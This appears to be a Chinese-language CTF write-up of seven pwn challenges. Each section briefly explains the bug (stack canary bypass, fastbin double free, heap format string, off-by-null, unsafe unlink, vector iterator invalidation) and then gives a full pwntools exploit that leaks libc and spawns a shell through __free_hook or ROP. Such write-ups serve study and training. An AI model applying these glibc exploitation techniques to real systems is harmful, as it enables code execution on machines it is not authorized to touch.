直接进行一手记录,因为 pwn 太菜所以必须好好记录一下。队友也给我好多帮助,感激不尽。

enter_the_evil_pwn_land

看了 chuj 的解法之后才发现 pwn 的工具好丰富,为什么以前我会写的那么艰涩(
很普通的栈溢出,但是要绕过 canary,大致有两种方法,一种是直接覆盖到 TLS 结构体里面的 stack_guard,而 TLS 结构体在栈的高地址处,如果能输入的范围很大,就可以直接覆盖。另外一种就是泄露,格式化字符串等手段。

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;        /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;
#! /usr/bin/python3

from pwn import *
      
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg, raw=True)
        
binary = ELF('./a.out', checksec=False)
host = ('127.0.0.1', 6666)
libc = ELF('./libc-2.31.so', checksec=False)

rs()
context.arch = 'amd64'

# dbg('set follow-fork-mode child\nb *0x401240')

prdi = 0x401363
test_thread = 0x4011D6

# pay = b'a' * 0x28
# sl(pay)
# ru(b'\n')
# fsbase = uu64(b'\x00' + ru(b'\n'))
# print("***",hex(fsbase))

rop_chain = b''
rop_chain += flat([prdi,binary.got['puts'], binary.plt['puts'], test_thread])

pay = b'a'*0x28 + p64(0)*2
pay += rop_chain
pay = pay.ljust(0x840, b'\x00')
pay += p64(0)*6

sl(pay)
ru(b'\n')

puts = uu64(ru(b'\n'))
print("[*]",hex(puts))
lbase = puts-libc.sym['puts']
system = lbase + libc.sym['system']
binsh = lbase + next(libc.search(b'/bin/sh'))
execve = lbase + libc.sym['execve']

prdx_rcx_rbx = lbase + 0x1056fd
prsi = lbase + 0x27529

print("[*]",hex(prdx_rcx_rbx))

pay = b'a'*0x28 + p64(0)*2
pay += flat([prdi,binsh])
pay += flat([prsi,0])
pay += flat([prdx_rcx_rbx,0,0,0])
pay += p64(execve)

sl(pay)

p.interactive()

oldfashion_note

libc-2.31.so,保护全开

delete 函数存在 UAF,先通过 unsorted bin 泄露 main_arena 进一步泄露 libc 基址。再通过 fastbin attack,在 fastbin 上 double free,然后放入 tcache 进入分配,实现任意地址写。这个漏洞的原因是因为 fastbin 的校验不够严格。

原理如图:

image-20220407120319821

#! /usr/bin/python3

from pwn import *
      
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg, raw=True)

context.arch = 'amd64'


host = ('127.0.0.1',6666)
binary = ELF('./note', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
ld   = ELF('./ld-2.31.so', checksec=False)

def add(idx, sz, data):
    sa(b'>> ', b'1')
    sa(b'>> ', str(idx).encode('utf-8') )
    sa(b'>> ', str(sz).encode('utf-8') )
    sa(b'>> ', data )

def delete(idx):
    sa(b'>> ', b'3')
    sa(b'>> ', str(idx).encode('utf-8'))

def show(idx):
    sa(b'>> ', b'2')
    sa(b'>> ', str(idx).encode('utf-8'))

def exit():
    sa(b'>> ', b'4')

rs()

for i in range(7):
    add(i, 0x100, b'show--me')
add(7, 0x100, b'show--me')
add(8, 0x100, b'show--me')

for i in range(7):
    delete(i)

delete(7)
dbg()
show(7)
main_arena96 = uu64(r(6))
__malloc_hook_mem = main_arena96-96-0x10
__malloc_hook_libc = libc.sym['__malloc_hook']
lbase = __malloc_hook_mem - __malloc_hook_libc
__free_hook = lbase + libc.sym['__free_hook']
mysystem = lbase + libc.sym['system']
# print("[-]",hex(__malloc_hook_mem))
delete(8)
for i in range(0xE):
    add(i, 0x70, b'/bin/sh\x00')
for i in range(0x7):
    delete(i)
delete(7)
delete(8)
delete(7)
for i in range(0x7):
    add(i, 0x70, b'/bin/sh\x00')

add(7, 0x70, p64(__free_hook))
# add(7, 0x70, p64(__malloc_hook_mem))
add(8, 0x70, b'/bin/sh\x00')
add(9, 0x70, b'/bin/sh\x00')
print('[-]',hex(mysystem))
add(10, 0x70, p64(mysystem))
# dbg()
delete(0)
# add(11, p64(), )

p.interactive()

echo_server

在堆上的格式化字符串。先通过泄露栈上的数据获得 libc 基址(不管会不会做先泄露了先233)。因为栈上存在有指向栈的指针,通过格式化字符串写数据(指针)到栈上,再把那个指针作为跳板任意地址写。写这道题的时候我多做了好几步骤,高地址没必要写的 :(

# 常用的模板大概是
%[order]$[format]
[addr]%[order]$s
[addr]...pad...%[order]$n
# 这道题是在堆上的,所以用不到,但是这些带来一点灵感
#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./echo', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
ld   = ELF('./ld-2.31.so', checksec=False)

rs()
# leak lbase
ru(b'your content\'s length:\n>> ')
sl(b'100')

sl(b'%13$p\n%6$p')
__libc_start_main243 = int(ru('\n'),16)
rbp = int(ru('\n'),16)
lbase = __libc_start_main243 - 243 - libc.sym['__libc_start_main']
leak('lbase', lbase)
leak('rbp', rbp)
__free_hook = lbase + libc.sym['__free_hook']
# __free_hook = lbase + libc.sym['__realloc_hook']
mysystem = lbase + libc.sym['system']

leak('mysystem', mysystem)
leak('__free_hook', __free_hook)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hn\x00'.format(__free_hook & 0xFFFF).encode()
sl(pay)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%6$hhn\x00'.format((rbp+0x12)&0xFF).encode()
sl(pay)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hn\x00'.format((__free_hook >> 16) & 0xFFFF).encode()
sl(pay)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%6$hhn\x00'.format((rbp+0x14)&0xFF).encode()
sl(pay)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hn\x00'.format((__free_hook >> 32) & 0xFFFF).encode()
sl(pay)
# 栈上写入 __free_hook 的地址了

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%6$hhn\x00'.format((rbp+0x10) & 0xFF).encode()
sl(pay)
# 恢复了栈指针的指向

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%12$hn\x00'.format(mysystem & 0xFFFF).encode()
sl(pay)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hhn\x00'.format((__free_hook & 0xFF)+2).encode()
sl(pay)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%12$hn\x00'.format((mysystem >> 16) & 0xFFFF).encode()
sl(pay)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hhn\x00'.format((__free_hook & 0xFF)+4).encode()
sl(pay)

sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%12$hn\x00'.format((mysystem >> 32) & 0xFFFF).encode()
sl(pay)
# __free_hook 上已经写上了 system

sla(b'your content\'s length:\n>> ',b'100')
pay = b'/bin/sh\x00'
sl(pay)

sla(b'your content\'s length:\n>> ',b'0')
# 最后 free

irt()

size_note

libc-2.27.so,保护也全开了

pt_list[index][read(0, pt_list[index], sz_list[index])] = 0;

存在 off by null,看上去没有 UAF,但是经过操作之后就是基本的 UAF 了。分配三块 unsorted bin,大小得是 0x??8 以使用它的空间复用。通过覆盖使用 最后一块中表示前一块的 size,必须要刚好,在2.27 中存在校验,和 prev_inuse 就可以让对管理器进入合并流程。然后再分割 unsorted bin,把 main_arena96 推进到第二块为被释放的堆上。此时就存在了 UAF 了,接下来就是常用的手段。

具体可以见图。

image-20220407125101942

#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./note', checksec=False)
libc = ELF('/home/rt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so', checksec=False)
ld   = ELF('/home/rt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', checksec=False)

def add(index, size, data):
    sla(b'>> ', b'1')
    sa(b'index?\n>> ', str(index).encode())
    sa(b'size?\n>> ' , str(size).encode())
    sa(b'content?\n>> ', data)
def show(index):
    sla(b'>> ', b'2')
    sa(b'index?\n>> ', str(index).encode())
def delete(index):
    sla(b'>> ', b'3')
    sa(b'index?\n>> ', str(index).encode())
def edit(index, data):
    sla(b'>> ', b'4')
    sa(b'index?\n>> ', str(index).encode())
    s(data)
def exit():
    sla(b'>> ', b'5')

rs()
# 0x7f7d4047cca0 (main_arena+96)
add(0, 0xF8, b'aaa')
add(1, 0xF8, b'aaa')
add(2, 0xF8, b'aaa')
for i in range(3,10):
    add(i, 0xF8, b'tcache')
add(0x10, 0x20, b'/bin/sh')
for i in range(3,10):
    delete(i)

delete(0)
edit(1, 0xF0*b'X'+p64(0x100+0x100))
delete(2)

# 分割 unsorted bin
add(0, 0x70, b'pad')
add(0, 0x70, b'pad')
show(1)
__malloc_hook = uu64(r(6)) - 96 - 0x10
leak('__malloc_hook', __malloc_hook)
lbase = __malloc_hook - libc.sym['__malloc_hook']
lsys = lbase + libc.sym['system']
__free_hook = lbase + libc.sym['__free_hook']
dbg()

for i in range(7):
    add(5, 0xF8, '/bin/sh\x00')

add(2,0x60,b'/bin/sh\x00')
delete(1)
edit(2, p64(__free_hook))
add(3, 0x60, b'/bin/sh\x00')
add(3, 0x60, p64(lsys))
delete(5)

irt()

elder_note

libc-2.23.so

fastbin attack,fastbin 的校验不大严格,可以 UAF

#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./note', checksec=False)
libc = ELF('/home/rt/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6', checksec=False)
ld   = ELF('/home/rt/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so', checksec=False)

def add(index, size, data):
    sla(b'>> ', b'1')
    sla(b'>> ', str(index).encode())
    sla(b'>> ', str(size).encode())
    sla(b'>> ', data)

def delete(index):
    sla(b'>> ', b'3')
    sla(b'>> ', str(index).encode())

def show(index):
    sla(b'>> ', b'2')
    sla(b'>> ', str(index).encode())

rs()
add(0, 0x80, b'unsorted_bin')
add(1, 0x80, b'protected_bin')
delete(0)
show(0)
__malloc_hook = uu64(r(6)) - 88 - 16
leak('__malloc_hook', __malloc_hook)
lbase = __malloc_hook - libc.sym['__malloc_hook']
lsystem = lbase + libc.sym['system']
free_hook = lbase + libc.sym['__free_hook']
realloc = lbase + libc.sym['realloc']
gadget = lbase + 0x4525a
delete(1)
# 复位

# fastbin attack
for i in range(3):
    add(i, 0x68, b'fastbin')
add(3, 0x68 , b'guard')

delete(0)
delete(1)
delete(0)

# Arbitrary Alloc 
add(4, 0x68, p64(__malloc_hook - 0x1b -0x8))
add(5, 0x68, b'/bin/sh\x00')
add(6, 0x68, b'/bin/sh\x00')
leak('__malloc_hook', __malloc_hook)
leak('lbase', lbase)
leak('system', lsystem)

add(7, 0x68,b'\x00'*(0x13-8) + p64(gadget) + p64(realloc+0x10))
add(1, 30,b'test')

irt()

changeable_note

libc-2.31.so 保护没开好,RELRO ,可以劫持 GOT 表,而且 PIE 也没有开,如果开了(就不知道怎么打了。这题的知识点主要是 unsorted bin unlink,后面我还用到了 off by X,合并了再泄露,但是其实没什么必要,因为一次 unlink 可以覆盖很多指针。

这里我利用 how2heap 中的 unsafe_unlink 把原理画一下

image-20220407135121252

#! /usr/bin/python3

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./note', checksec=False)
libc = ELF('/home/rt/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6', checksec=False)
ld   = ELF('/home/rt/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so', checksec=False)

def add(index, size, data):
    sla(b'>> ', b'1')
    sa(b'index?\n>> ', str(index).encode())
    sa(b'size?\n>> ' , str(size).encode())
    sa(b'content?\n>> ', data)
def edit(index, data):
    sla(b'>> ', b'2')
    sa(b'index?\n>> ', str(index).encode())
    s(data)
def delete(index):
    sla(b'>> ', b'3')
    sa(b'index?\n>> ', str(index).encode())
def exit():
    sla(b'>> ', b'4')

rs()
note = 0x4040C0
add(0, 0x90, b'chunk0')
add(1, 0x90, b'chunk1')
add(0x10, 0x90, b'protected_chunk')
# 构造 fake chunk
pay = p64(0) + p64(0x91) + p64(note-3*8) + p64(note-2*8)
pay = pay.ljust(0x90, b'\x00') + p64(0x90) +p64(0xA0) + b'\n'
edit(0, pay)
# unlink 
delete(1)
plt_puts = binary.plt['puts']
got_free = binary.got['free']
leak('plt_puts', plt_puts)
# 实施 unlink 后的指针覆盖

edit(0, p64(0)*3 + p64(got_free) + b'\n')
# edit(0, p64(plt_puts)[:-1] + b'\n')
# delete(0)


# 取关之前的 unsortedbin
add(1, 0x88, b'fake')
add(1, 0x98, b'fake')

# off by one
add(1, 0x88, b'chunk1')
add(2, 0x88, b'chunk2')
add(3, 0x88, b'chunk3')
add(0x10, 0x90, b'protected_chunk')
delete(1)
pay = b'X'*0x80 + p64(0x90 + 0x90) + p8(0x90) + b'\n'
edit(2, pay)
delete(3)
# 推送 main_arena, 这地方不熟,还是选择调试出来的偏移
add(1, 0x80, b'/bin/sh')
# 改变 delete 为 puts
edit(0, p64(plt_puts)[:-1] + b'\n')
delete(2)
__malloc_hook = uu64(r(6)) - 88 - 16
lbase = __malloc_hook - libc.sym['__malloc_hook']
lsystem = lbase + libc.sym['system']
add(2, 0x20, b'/bin/sh')
# 改变 delete 为 system
edit(0, p64(lsystem)[:-1] + b'\n')
delete(2)

irt()

vector

容器扩张导致迭代器失效,这里我可能叙述有问题,没有很仔细的分析。

image-20220407135659622

导致容器中存在两个一样的指针,就可以实现 UAF 了,由于是 libc-2.31.so ,接下来可以直接进行一波 fastbin attack。

#! /usr/bin/python3
from os import system
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./vector', checksec=False)
libc = ELF('/home/rt/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so', checksec=False)
ld   = ELF('/home/rt/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so', checksec=False)

def add(index, size, data):
    sla(b'>> ', b'1')
    sla(b'>> ', str(index).encode())
    sla(b'>> ', str(size).encode())
    sa(b'>> ', data)

def edit():
    sla(b'>> ', b'2')
    
def show(index):
    sla(b'>> ', b'3')
    sla(b'>> ', str(index).encode())

def delete(index):
    sla(b'>> ', b'4')
    sla(b'>> ', str(index).encode())

def move(ori_index, tar_index):
    sla(b'>> ', b'5')
    for i in range(ori_index):
        sla(b'is this one your want to move? [1/0]\n>> ', b'0')
    sla(b'is this one your want to move? [1/0]\n>> ', b'1')
    sla(b'which index you want move to?\n>> ', str(tar_index).encode())

rs()

for i in range(8):
    add(i, 0x100, b'idx'+str(i).encode()+b'\n') 

for i in range(8):
    add(i, 0x70, b'idx'+str(i).encode()+b'\n') 

for i in range(1, 8):
    delete(i)

delete(0)
add(0, 0x50, b'aaaaaaaa')
show(0)
ru(b'aaaaaaaa')
lbase = uu64(r(6).ljust(8, b'\x00')) - libc.sym["__malloc_hook"] - 96- 16 - 0x100
lsystem = lbase + libc.sym['system']
__free_hook = lbase + libc.sym['__free_hook']
leak('lbase', lbase)


for i in range(1, 10):
    add(i, 0x70, b'idx:' + str(i).encode() + b'\n')

move(2, 17)
add(10, 0x70, b'idx:10')
for i in range(3, 10):
    delete(i)

delete(2)
delete(10)
delete(17)

for i in range(3,10):
    add(i, 0x70, b'idx:' + str(i).encode() + b'\n')
    
dbg()
add(11, 0x70, p64(__free_hook))
add(12, 0x70, b'/bin/sh\x00')
add(13, 0x70, b'/bin/sh\x00')
add(14, 0x70, p64(lsystem))

delete(11)
irt()

还有 final 的题目,mark